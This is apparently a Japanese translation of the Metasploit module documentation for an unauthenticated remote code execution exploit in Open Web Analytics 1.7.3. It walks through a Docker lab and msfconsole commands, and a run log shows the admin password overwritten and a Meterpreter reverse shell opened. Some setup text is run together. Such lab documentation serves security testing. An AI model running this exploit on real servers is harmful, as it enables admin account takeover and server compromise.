
Open Web Analytics 1.7.3 - リモートコード実行
Open Web Analytics (OWA) 1.7.4 より前のバージョンでは、認証されていないリモート攻撃者が機密ユーザー情報を取得でき、キャッシュハッシュを利用して管理者権限を獲得することができます。これは、'<?php (意図された "<?php シーケンスの代わりに) で生成されたファイルが PHP インタプリタによって処理されないために発生します。
Docker を使用して OWA の脆弱なインスタンスを起動する
docker compose up -ddocker-compose.yml ファイルの環境変数を使用してインストール手順を実行
http://127.0.0.1/docker inspect <db-container> を実行し IPAddress を取得、例: 172.22.0.2)3306owaowaDemo12+#http://127.0.0.1admin[email protected]Demo12+#msfconsole を起動
use exploit/multi/http/open_web_analytics_rce
set RHOSTS 127.0.0.1
set RPORT 80
set SSL false
set LHOST 172.22.0.1 -> これは docker compose up -d コマンドで作成されたブリッジ IP である必要があります
check
run
ターゲットをエクスプロイトする際、攻撃対象のユーザーのパスワードがこのパスワードで上書きされます。
このエクスプロイトの対象となるユーザー。
このエクスプロイトは、各ユーザーがログインしようとする際に作成されるキャッシュファイルから temp_passkey 値を取得することで動作します。/owa-data/caches/ ディレクトリは公開アクセス可能なため、これらのキャッシュファイルを取得できます。キャッシュファイルの正確なパスは user_id に依存し、それを使用して計算できます。このオプションは、temp_passkey 値を含むキャッシュファイルをチェックするために、0 から始まる計算パスの数を定義します。
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run
[*] Started reverse TCP handler on 172.22.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!
meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >